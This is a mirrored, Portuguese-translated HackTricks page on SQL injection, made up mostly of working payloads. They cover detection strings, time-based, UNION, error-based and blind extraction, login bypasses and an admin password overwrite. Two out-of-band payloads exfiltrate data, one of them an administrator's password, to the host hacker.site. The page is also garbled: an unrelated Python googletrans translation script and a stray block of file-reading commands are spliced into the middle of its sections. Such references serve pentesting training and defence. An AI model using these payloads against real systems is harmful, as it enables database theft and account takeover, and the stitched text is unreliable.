mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
780 lines
32 KiB
Markdown
780 lines
32 KiB
Markdown
# SQL Injection
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## O que é SQL injection?
|
||
|
||
Uma **SQL injection** é uma falha de segurança que permite a atacantes **interferir nas consultas ao banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir a atacantes **visualizar**, **modificar** ou **excluir** dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados que a aplicação consiga acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou no conteúdo da aplicação, ou até no comprometimento do servidor ou denial of service.
|
||
|
||
## Detecção do ponto de entrada
|
||
|
||
Quando um site parece estar **vulnerable a SQL injection (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz. Aqui estão alguns exemplos úteis:
|
||
```
|
||
[Nothing]
|
||
'
|
||
"
|
||
`
|
||
')
|
||
")
|
||
`)
|
||
'))
|
||
"))
|
||
`))
|
||
```
|
||
Então, você precisa saber como **corrigir a query para que não haja erros**. Para corrigir a query você pode **inserir** dados para que a **query anterior aceite os novos dados**, ou você pode simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
|
||
|
||
_Note que se você conseguir ver mensagens de erro ou identificar diferenças quando uma query está funcionando e quando não está, essa fase será mais fácil._
|
||
|
||
### **Comentários**
|
||
```sql
|
||
MySQL
|
||
#comment
|
||
-- comment [Note the space after the double dash]
|
||
/*comment*/
|
||
/*! MYSQL Special SQL */
|
||
|
||
PostgreSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
MSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
Oracle
|
||
--comment
|
||
|
||
SQLite
|
||
--comment
|
||
/*comment*/
|
||
|
||
HQL
|
||
HQL does not support comments
|
||
```
|
||
### Confirmando com operações lógicas
|
||
|
||
Um método confiável para confirmar uma vulnerabilidade de SQL injection envolve executar uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` retornando conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de SQL injection.
|
||
|
||
Da mesma forma, a aplicação de **operações matemáticas** funciona como técnica eficaz de confirmação. Por exemplo, se acessar `?id=1` e `?id=2-1` produzir o mesmo resultado, isso indica SQL injection.
|
||
|
||
Exemplos demonstrando confirmação por operação lógica:
|
||
```
|
||
page.asp?id=1 or 1=1 -- results in true
|
||
page.asp?id=1' or 1=1 -- results in true
|
||
page.asp?id=1" or 1=1 -- results in true
|
||
page.asp?id=1 and 1=2 -- results in false
|
||
```
|
||
Esta word-list foi criada para tentar **confirmar SQLinjections** da maneira proposta:
|
||
|
||
<details>
|
||
<summary>True SQLi</summary>
|
||
```
|
||
true
|
||
1
|
||
1>0
|
||
2-1
|
||
0+1
|
||
1*1
|
||
1%2
|
||
1 & 1
|
||
1&1
|
||
1 && 2
|
||
1&&2
|
||
-1 || 1
|
||
-1||1
|
||
-1 oR 1=1
|
||
1 aND 1=1
|
||
(1)oR(1=1)
|
||
(1)aND(1=1)
|
||
-1/**/oR/**/1=1
|
||
1/**/aND/**/1=1
|
||
1'
|
||
1'>'0
|
||
2'-'1
|
||
0'+'1
|
||
1'*'1
|
||
1'%'2
|
||
1'&'1'='1
|
||
1'&&'2'='1
|
||
-1'||'1'='1
|
||
-1'oR'1'='1
|
||
1'aND'1'='1
|
||
1"
|
||
1">"0
|
||
2"-"1
|
||
0"+"1
|
||
1"*"1
|
||
1"%"2
|
||
1"&"1"="1
|
||
1"&&"2"="1
|
||
-1"||"1"="1
|
||
-1"oR"1"="1
|
||
1"aND"1"="1
|
||
1`
|
||
1`>`0
|
||
2`-`1
|
||
0`+`1
|
||
1`*`1
|
||
1`%`2
|
||
1`&`1`=`1
|
||
1`&&`2`=`1
|
||
-1`||`1`=`1
|
||
-1`oR`1`=`1
|
||
1`aND`1`=`1
|
||
1')>('0
|
||
2')-('1
|
||
0')+('1
|
||
1')*('1
|
||
1')%('2
|
||
1')&'1'=('1
|
||
1')&&'1'=('1
|
||
-1')||'1'=('1
|
||
-1')oR'1'=('1
|
||
1')aND'1'=('1
|
||
1")>("0
|
||
2")-("1
|
||
0")+("1
|
||
1")*("1
|
||
1")%("2
|
||
1")&"1"=("1
|
||
1")&&"1"=("1
|
||
-1")||"1"=("1
|
||
-1")oR"1"=("1
|
||
1")aND"1"=("1
|
||
1`)>(`0
|
||
2`)-(`1
|
||
0`)+(`1
|
||
1`)*(`1
|
||
1`)%(`2
|
||
1`)&`1`=(`1
|
||
1`)&&`1`=(`1
|
||
-1`)||`1`=(`1
|
||
-1`)oR`1`=(`1
|
||
1`)aND`1`=(`1
|
||
```
|
||
</details>
|
||
|
||
### Confirmando pelo tempo
|
||
|
||
Em alguns casos você **não notará nenhuma alteração** na página que está testando. Portanto, uma boa forma de **discover blind SQL injections** é fazer o DB executar ações que terão um **impacto no tempo** que a página precisa para carregar.\
|
||
Portanto, vamos usar concat na SQL query para inserir uma operação que levará muito tempo para ser concluída:
|
||
```
|
||
MySQL (string concat and logical ops)
|
||
1' + sleep(10)
|
||
1' and sleep(10)
|
||
1' && sleep(10)
|
||
1' | sleep(10)
|
||
|
||
PostgreSQL (only support string concat)
|
||
1' || pg_sleep(10)
|
||
|
||
MSQL
|
||
1' WAITFOR DELAY '0:0:10'
|
||
|
||
Oracle
|
||
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
|
||
|
||
SQLite
|
||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||
```
|
||
Em alguns casos as **sleep functions won't be allowed**. Então, em vez de usar essas funções você pode fazer a consulta **executar operações complexas** que levarão vários segundos. _Exemplos dessas técnicas serão comentados separadamente para cada tecnologia (se houver)_.
|
||
|
||
### Identifying Back-end
|
||
|
||
A melhor forma de identificar o back-end é tentando executar funções dos diferentes back-ends. Você pode usar as _**sleep**_ **functions** da seção anterior ou estas (tabela de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||
```bash
|
||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||
["connection_id()=connection_id()" ,"MYSQL"],
|
||
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
||
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
||
["@@CONNECTIONS>0" ,"MSSQL"],
|
||
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
||
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
||
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
||
["ROWNUM=ROWNUM" ,"ORACLE"],
|
||
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
||
["LNNVL(0=123)" ,"ORACLE"],
|
||
["5::int=5" ,"POSTGRESQL"],
|
||
["5::integer=5" ,"POSTGRESQL"],
|
||
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
||
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
||
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
||
["current_database()=current_database()" ,"POSTGRESQL"],
|
||
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
||
["last_insert_rowid()>1" ,"SQLITE"],
|
||
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
||
["val(cvar(1))=1" ,"MSACCESS"],
|
||
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
||
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
```
|
||
Além disso, se você tiver acesso à saída da consulta, pode fazê-la **imprimir a versão do banco de dados**.
|
||
|
||
> [!TIP]
|
||
> Como continuação, vamos discutir diferentes métodos para explorar diferentes tipos de SQL Injection. Usaremos MySQL como exemplo.
|
||
|
||
### Identificando com PortSwigger
|
||
|
||
|
||
{{#ref}}
|
||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||
{{#endref}}
|
||
|
||
## Exploiting Union Based
|
||
|
||
### Detectando o número de colunas
|
||
|
||
Se você consegue ver a saída da consulta esta é a melhor maneira de explorá-la.\
|
||
Primeiro de tudo, precisamos descobrir o **número** de **colunas** que a **requisição inicial** está retornando. Isso é porque **ambas as consultas devem retornar o mesmo número de colunas**.\
|
||
Dois métodos são tipicamente usados para esse propósito:
|
||
|
||
#### Order/Group by
|
||
|
||
Para determinar o número de colunas em uma consulta, ajuste incrementalmente o número usado nas cláusulas **ORDER BY** ou **GROUP BY** até que uma resposta falsa seja recebida. Apesar das funcionalidades distintas de **GROUP BY** e **ORDER BY** dentro do SQL, ambos podem ser utilizados identicamente para verificar a contagem de colunas da consulta.
|
||
```sql
|
||
1' ORDER BY 1--+ #True
|
||
1' ORDER BY 2--+ #True
|
||
1' ORDER BY 3--+ #True
|
||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
|
||
```sql
|
||
1' GROUP BY 1--+ #True
|
||
1' GROUP BY 2--+ #True
|
||
1' GROUP BY 3--+ #True
|
||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
#### UNION SELECT
|
||
|
||
Selecione mais e mais valores null até que a query esteja correta:
|
||
```sql
|
||
1' UNION SELECT null-- - Not working
|
||
1' UNION SELECT null,null-- - Not working
|
||
1' UNION SELECT null,null,null-- - Worked
|
||
```
|
||
_Você deve usar `null` valores, pois em alguns casos o tipo das colunas de ambos os lados da query deve ser o mesmo e null é válido em todos os casos._
|
||
|
||
### Extrair nomes de bancos de dados, nomes de tabelas e nomes de colunas
|
||
|
||
Nos exemplos a seguir vamos recuperar o nome de todos os bancos de dados, o nome das tabelas de um banco de dados e os nomes das colunas de uma tabela:
|
||
```sql
|
||
#Database names
|
||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||
|
||
#Tables of a database
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
|
||
|
||
#Column names
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||
```
|
||
_Há uma maneira diferente de descobrir esses dados em cada banco de dados diferente, mas é sempre a mesma metodologia._
|
||
|
||
## Explorando Hidden Union Based
|
||
|
||
Quando a saída de uma query é visível, mas uma injection union-based parece inalcançável, isso indica a presença de uma **hidden union-based injection**. Esse cenário frequentemente leva a uma situação de blind injection. Para transformar uma blind injection em uma union-based, é necessário identificar a query de execução no backend.
|
||
|
||
Isso pode ser realizado através do uso de técnicas de blind injection junto com as tabelas padrão específicas do seu DBMS alvo. Para entender essas tabelas padrão, é recomendado consultar a documentação do DBMS alvo.
|
||
|
||
Uma vez que a query tenha sido extraída, é necessário adaptar seu payload para fechar com segurança a query original. Em seguida, uma union query é anexada ao seu payload, facilitando a exploração da union-based injection recém-acessível.
|
||
|
||
Para uma visão mais completa, consulte o artigo completo disponível em [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||
|
||
## Explorando Error based
|
||
|
||
Se por algum motivo você **não puder** ver a **saída** da **query**, mas puder ver as **mensagens de erro**, você pode usar essas mensagens de erro para **ex-filtrate** dados do banco de dados.\
|
||
Seguindo um fluxo semelhante ao da exploração Union Based, você pode conseguir dumpar o DB.
|
||
```sql
|
||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||
```
|
||
## Explorando Blind SQLi
|
||
|
||
Neste caso você não consegue ver os resultados da query nem os erros, mas consegue **distinguir** quando a query **return** um **true** ou um **false** porque há conteúdos diferentes na página.\
|
||
Nesse caso, você pode abusar desse comportamento para fazer o dump do banco de dados char by char:
|
||
```sql
|
||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||
```
|
||
## Exploiting Error Blind SQLi
|
||
|
||
Este é o **mesmo caso que antes**, mas em vez de distinguir entre uma resposta true/false da query você pode **distinguir entre** um **erro** na SQL query ou não (talvez porque o HTTP server trave). Portanto, neste caso você pode forçar um SQLerror cada vez que adivinhar corretamente o char:
|
||
```sql
|
||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||
```
|
||
## Exploiting Time Based SQLi
|
||
|
||
Neste caso **não há** nenhuma maneira de **distinguir** a **resposta** da consulta com base no contexto da página. Porém, você pode fazer a página **demorar mais para carregar** se o caractere adivinhado estiver correto. Já vimos essa técnica em uso antes para [confirm a SQLi vuln](#confirming-with-timing).
|
||
```sql
|
||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||
```
|
||
## Stacked Queries
|
||
|
||
You can use stacked queries to **executar múltiplas queries em sucessão**. Observe que, enquanto as queries subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, esta técnica é principalmente útil em relação a **blind vulnerabilities** onde você pode usar uma segunda query para acionar um DNS lookup, conditional error ou time delay.
|
||
|
||
**Oracle** não suporta **stacked queries.** **MySQL, Microsoft** e **PostgreSQL** suportam-nas: `QUERY-1-HERE; QUERY-2-HERE`
|
||
|
||
## Out of band Exploitation
|
||
|
||
Se **no-other** exploitation method **worked**, você pode tentar fazer o **database ex-filtrate** as informações para um **external host** controlado por você. Por exemplo, via DNS queries:
|
||
```sql
|
||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||
```
|
||
### Exfiltração de dados fora de banda via XXE
|
||
```sql
|
||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||
```
|
||
## Exploração Automatizada
|
||
|
||
Consulte o [SQLMap Cheatsheet](sqlmap/index.html) para explorar uma vulnerabilidade SQLi com [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||
|
||
## Informações específicas da tecnologia
|
||
|
||
Já discutimos todas as formas de explorar uma vulnerabilidade SQL Injection. Encontre mais truques dependentes da tecnologia do banco de dados neste livro:
|
||
|
||
- [MS Access](ms-access-sql-injection.md)
|
||
- [MSSQL](mssql-injection.md)
|
||
- [MySQL](mysql-injection/index.html)
|
||
- [Oracle](oracle-injection.md)
|
||
- [PostgreSQL](postgresql-injection/index.html)
|
||
|
||
Ou você encontrará **muitos truques relacionados a: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL em** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Bypass de autenticação
|
||
|
||
Lista para tentar contornar a funcionalidade de login:
|
||
|
||
|
||
{{#ref}}
|
||
../login-bypass/sql-login-bypass.md
|
||
{{#endref}}
|
||
|
||
### Raw hash authentication Bypass
|
||
```sql
|
||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||
```
|
||
Esta query demonstra uma vulnerabilidade quando MD5 é usado com true para raw output em verificações de autenticação, tornando o sistema suscetível a SQL injection. Atacantes podem explorar isso forjando inputs que, quando hashed, geram partes inesperadas de comandos SQL, permitindo acesso não autorizado.
|
||
```sql
|
||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
|
||
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
|
||
```
|
||
### Injetado hash authentication Bypass
|
||
```sql
|
||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||
```
|
||
**Lista recomendada**:
|
||
|
||
Você deve usar como username cada linha da lista e como password sempre: _**Pass1234.**_\
|
||
_(Estes payloads também estão incluídos na grande lista mencionada no início desta seção)_
|
||
|
||
{{#file}}
|
||
sqli-hashbypass.txt
|
||
{{#endfile}}
|
||
|
||
### GBK Authentication Bypass
|
||
|
||
Se o ' estiver sendo escapado você pode usar %A8%27, e quando o ' for escapado será criado: 0xA80x5c0x27 (_╘'_)
|
||
```sql
|
||
%A8%27 OR 1=1;-- 2
|
||
%8C%A8%27 OR 1=1-- 2
|
||
%bf' or 1=1 -- --
|
||
```
|
||
#!/usr/bin/env python3
|
||
"""
|
||
Translate a Markdown file from English to Portuguese while preserving:
|
||
- fenced code blocks (```...```)
|
||
- inline code (`...`)
|
||
- markdown links/images and their URLs ([text](url), )
|
||
- HTML tags (<...>)
|
||
- special tags/refs like {#...}
|
||
- file paths and filenames (e.g. src/.../file.md)
|
||
- a configurable list of keywords (cloud names, hacking words, etc.)
|
||
|
||
Usage:
|
||
pip install googletrans==4.0.0-rc1
|
||
python3 translate_md.py input.md output.md
|
||
|
||
Notes:
|
||
- This script uses googletrans (unofficial API). For large/production use consider a paid translation API.
|
||
- The protection regexes try to be conservative to avoid translating tokens you asked to keep.
|
||
"""
|
||
|
||
import re
|
||
import sys
|
||
from googletrans import Translator
|
||
|
||
# --- Configuration ---
|
||
PROTECT_WORDS = [
|
||
# cloud / platform / common hacking words / technique names to keep as-is
|
||
"aws", "gcp", "azure", "Workspace", "leak", "pentesting", "pentest",
|
||
"SQL", "SQLi", "sql-injection", "sql_injection", "Docker", "Kubernetes",
|
||
"ldap", "ssrf", "xss", "csrf", "RCE", "LFI", "RFI", "payload", "exploit",
|
||
"nmap", "burp", "metasploit", "msfconsole", "ssh", "ftp", "http", "https",
|
||
]
|
||
DEST_LANG = "pt" # Portuguese
|
||
|
||
# --- Regexes for protected regions ---
|
||
# Order matters: longer patterns first
|
||
PATTERNS = [
|
||
# Fenced code blocks (```lang\n...\n```), non-greedy
|
||
(re.compile(r"```[\s\S]*?```"), "FENCED_CODE"),
|
||
# HTML tags
|
||
(re.compile(r"<[^>\n]+>"), "HTML_TAG"),
|
||
# Markdown images 
|
||
(re.compile(r"!\[.*?\]\([^\)]*\)"), "MD_IMAGE"),
|
||
# Markdown links [text](url) -> leave entire link as-is (per instructions)
|
||
(re.compile(r"\[.*?\]\([^\)]*\)"), "MD_LINK"),
|
||
# Inline code `...`
|
||
(re.compile(r"`[^`]*`"), "INLINE_CODE"),
|
||
# Special tags like {#ref} or {#tab name="..."} or {#endref}
|
||
(re.compile(r"\{#[^}]*\}"), "SPECIAL_TAG"),
|
||
# File paths and filenames (simple heuristic: contains slash and maybe extension)
|
||
(re.compile(r"\b[\w\-/]+\/[\w\-/\.]*\w+\.\w+\b"), "FILE_PATH"),
|
||
# Simple filenames with extensions
|
||
(re.compile(r"\b[\w\-/]+?\.\w{1,6}\b"), "FILENAME"),
|
||
]
|
||
|
||
# Protected standalone words (will be masked within normal text)
|
||
PROTECT_WORDS_RE = re.compile(
|
||
r"\b(" + "|".join(re.escape(w) for w in PROTECT_WORDS) + r")\b", flags=re.IGNORECASE
|
||
)
|
||
|
||
# --- Helper functions ---
|
||
def mask_protected_regions(text, placeholders, start_index=0):
|
||
"""
|
||
Replace protected regions matched by PATTERNS with placeholders __PROT_n__.
|
||
Save originals in placeholders list. Return new text and next index.
|
||
"""
|
||
idx = start_index
|
||
for pattern, _name in PATTERNS:
|
||
def _repl(m):
|
||
nonlocal idx
|
||
token = f"__PROT_{idx}__"
|
||
placeholders.append(m.group(0))
|
||
idx += 1
|
||
return token
|
||
text = pattern.sub(_repl, text)
|
||
return text, idx
|
||
|
||
def mask_protect_words(text, placeholders, start_index=0):
|
||
"""
|
||
Replace words from PROTECT_WORDS with placeholders.
|
||
"""
|
||
idx = start_index
|
||
def _repl(m):
|
||
nonlocal idx
|
||
token = f"__PROT_{idx}__"
|
||
placeholders.append(m.group(0))
|
||
idx += 1
|
||
return token
|
||
return PROTECT_WORDS_RE.sub(_repl, text), idx
|
||
|
||
def restore_placeholders(text, placeholders):
|
||
"""
|
||
Replace __PROT_n__ tokens with their original strings from placeholders.
|
||
"""
|
||
def repl(m):
|
||
i = int(m.group(1))
|
||
return placeholders[i]
|
||
return re.sub(r"__PROT_(\d+)__", repl, text)
|
||
|
||
def chunk_and_translate(text, translator, dest=DEST_LANG, max_chars=4000):
|
||
"""
|
||
Translate large text by splitting into chunks under max_chars.
|
||
Returns translated text.
|
||
"""
|
||
if not text.strip():
|
||
return text
|
||
|
||
# Split by double newlines to keep paragraphs (greedy accumulation)
|
||
parts = text.split("\n\n")
|
||
chunks = []
|
||
current = []
|
||
cur_len = 0
|
||
for p in parts:
|
||
plen = len(p) + 2 # account for the separators we'll re-add
|
||
if cur_len + plen > max_chars and current:
|
||
chunks.append("\n\n".join(current))
|
||
current = [p]
|
||
cur_len = plen
|
||
else:
|
||
current.append(p)
|
||
cur_len += plen
|
||
if current:
|
||
chunks.append("\n\n".join(current))
|
||
|
||
translated_parts = []
|
||
for chunk in chunks:
|
||
# googletrans can sometimes fail; basic retry
|
||
for attempt in range(3):
|
||
try:
|
||
res = translator.translate(chunk, dest=dest)
|
||
translated_parts.append(res.text)
|
||
break
|
||
except Exception as e:
|
||
if attempt == 2:
|
||
raise
|
||
return "\n\n".join(translated_parts)
|
||
|
||
# --- Main processing ---
|
||
def translate_markdown(input_text):
|
||
placeholders = []
|
||
# Step 1: Mask fenced code blocks and other protected patterns
|
||
masked, next_idx = mask_protected_regions(input_text, placeholders, start_index=0)
|
||
|
||
# Step 2: Mask protect words inside the masked text
|
||
masked, next_idx = mask_protect_words(masked, placeholders, start_index=next_idx)
|
||
|
||
# Now we have masked text where protected tokens are replaced by __PROT_n__.
|
||
# Translate the remaining text.
|
||
translator = Translator()
|
||
translated = chunk_and_translate(masked, translator, dest=DEST_LANG)
|
||
|
||
# Restore placeholders
|
||
restored = restore_placeholders(translated, placeholders)
|
||
return restored
|
||
|
||
def main():
|
||
if len(sys.argv) != 3:
|
||
print("Usage: python3 translate_md.py input.md output.md")
|
||
sys.exit(1)
|
||
infile = sys.argv[1]
|
||
outfile = sys.argv[2]
|
||
with open(infile, "r", encoding="utf-8") as f:
|
||
data = f.read()
|
||
translated = translate_markdown(data)
|
||
with open(outfile, "w", encoding="utf-8") as f:
|
||
f.write(translated)
|
||
print(f"Translated saved to {outfile}")
|
||
|
||
if __name__ == "__main__":
|
||
main()
|
||
```python
|
||
import requests
|
||
url = "http://example.com/index.php"
|
||
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
||
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||
print r.text
|
||
```
|
||
### Polyglot injection (multicontexto)
|
||
```sql
|
||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||
```
|
||
## Declaração INSERT
|
||
|
||
### Modificar a senha de um objeto/usuário existente
|
||
|
||
Para isso você deve tentar **criar um novo objeto com o mesmo nome do "master object"** (provavelmente **admin** no caso de usuários) modificando algo:
|
||
|
||
- Criar usuário com nome: **AdMIn** (letras maiúsculas & minúsculas)
|
||
- Criar um usuário com nome: **admin=**
|
||
- **SQL Truncation Attack** (quando há algum tipo de **limite de tamanho** no username ou email) --> Criar usuário com nome: **admin \[a lot of spaces] a**
|
||
|
||
#### SQL Truncation Attack
|
||
|
||
Se o banco de dados for vulnerável e o número máximo de chars para o username for por exemplo 30 e você quiser se passar pelo usuário **admin**, tente criar um username chamado: "_admin \[30 spaces] a_" e qualquer senha.
|
||
|
||
O banco de dados vai **verificar** se o **username** introduzido **existe** no banco. Se **não**, ele vai **cortar** o **username** ao **número máximo permitido de caracteres** (neste caso para: "_admin \[25 spaces]_") e em seguida ele vai **remover automaticamente todos os espaços no final atualizando** no banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que não funcionou).
|
||
|
||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||
|
||
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||
|
||
### MySQL Insert time based checking
|
||
|
||
Adicione tantos `','',''` quanto considerar necessário para sair da cláusula VALUES. Se o delay for executado, você tem um SQLInjection.
|
||
```sql
|
||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||
```
|
||
### ON DUPLICATE KEY UPDATE
|
||
|
||
A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar ações que o banco de dados deve executar quando se tenta inserir uma linha que resultaria em um valor duplicado em um índice UNIQUE ou PRIMARY KEY. O exemplo a seguir demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:
|
||
|
||
Exemplo Payload Injection:
|
||
|
||
Um injection payload pode ser elaborado da seguinte forma, onde tenta-se inserir duas linhas na tabela `users`. A primeira linha é uma isca, e a segunda mira no email de um administrador existente com a intenção de atualizar a senha:
|
||
```sql
|
||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||
```
|
||
Veja como funciona:
|
||
|
||
- A query tenta inserir duas linhas: uma para `generic_user@example.com` e outra para `admin_generic@example.com`.
|
||
- Se a linha para `admin_generic@example.com` já existir, a cláusula `ON DUPLICATE KEY UPDATE` é acionada, instruindo o MySQL a atualizar o campo `password` da linha existente para "bcrypt_hash_of_newpassword".
|
||
- Consequentemente, a autenticação pode ser tentada usando `admin_generic@example.com` com a senha correspondente ao hash bcrypt ("bcrypt_hash_of_newpassword" representa o hash bcrypt da nova senha, que deve ser substituído pelo hash real da senha desejada).
|
||
|
||
### Extrair informações
|
||
|
||
#### Criando 2 contas ao mesmo tempo
|
||
|
||
Ao tentar criar um novo usuário, são necessários username, password e email:
|
||
```
|
||
SQLi payload:
|
||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||
|
||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||
```
|
||
#### Usando decimal ou hexadecimal
|
||
|
||
Com esta técnica você pode extrair informações com apenas 1 conta. É importante notar que você não precisa comentar nada.
|
||
|
||
Usando **hex2dec** e **substr**:
|
||
```sql
|
||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
To get the text you can use:
|
||
|
||
```
|
||
cat src/pentesting-web/sql-injection/README.md
|
||
less src/pentesting-web/sql-injection/README.md
|
||
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
|
||
git show HEAD:src/pentesting-web/sql-injection/README.md
|
||
curl -s https://raw.githubusercontent.com/<user>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md
|
||
```
|
||
```python
|
||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||
```
|
||
Usando **hex** e **replace** (e **substr**):
|
||
```sql
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
#Full ascii uppercase and lowercase replace:
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
## Routed SQL injection
|
||
|
||
Routed SQL injection é uma situação onde a query injetável não é aquela que produz output, mas o output da query injetável é direcionado para a query que produz output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||
|
||
